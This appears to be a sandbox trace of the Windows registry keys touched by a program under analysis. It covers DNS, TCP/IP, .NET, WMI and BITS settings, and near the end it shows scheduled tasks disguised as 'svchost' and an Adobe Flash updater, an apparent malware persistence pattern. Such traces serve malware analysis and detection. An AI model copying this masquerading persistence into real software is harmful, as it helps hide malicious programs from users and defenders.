HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\up_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\up_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DnsCache\Parameters
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DnsClient
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly
HKEY_LOCAL_MACHINE\System\Setup
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSClient
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963}
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\schtasks.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\SecurityService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\SecurityService\DefaultAuthLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Adobe Flash Player Updater
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Adobe Flash Player Updater\Id
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\SchedulingEngineKnob
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\svchost\svchost
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\net.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\net1.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\IpHlpSvc\FileDirectory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\svchost.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\svchost.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\svchost\svchost\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\svchost\svchost\Index
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\Triggers
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\iphlpsvc\Parameters\ServiceDllUnloadOnStop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{8D4F19B0-4750-45BA-ABC0-04F1462C0509}\DynamicInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\svchost.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\shdocvw.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WDI\ResolutionHost
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\WDI\ResolutionHost\Id
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Hash
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9435F817-FED2-454E-88CD-7F78FDA62C48}\Triggers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\ESS
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/subscription
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2
HKEY_LOCAL_MACHINE\system\Setup
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\minint
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceDll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceManifest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BITS\Parameters\ServiceMain
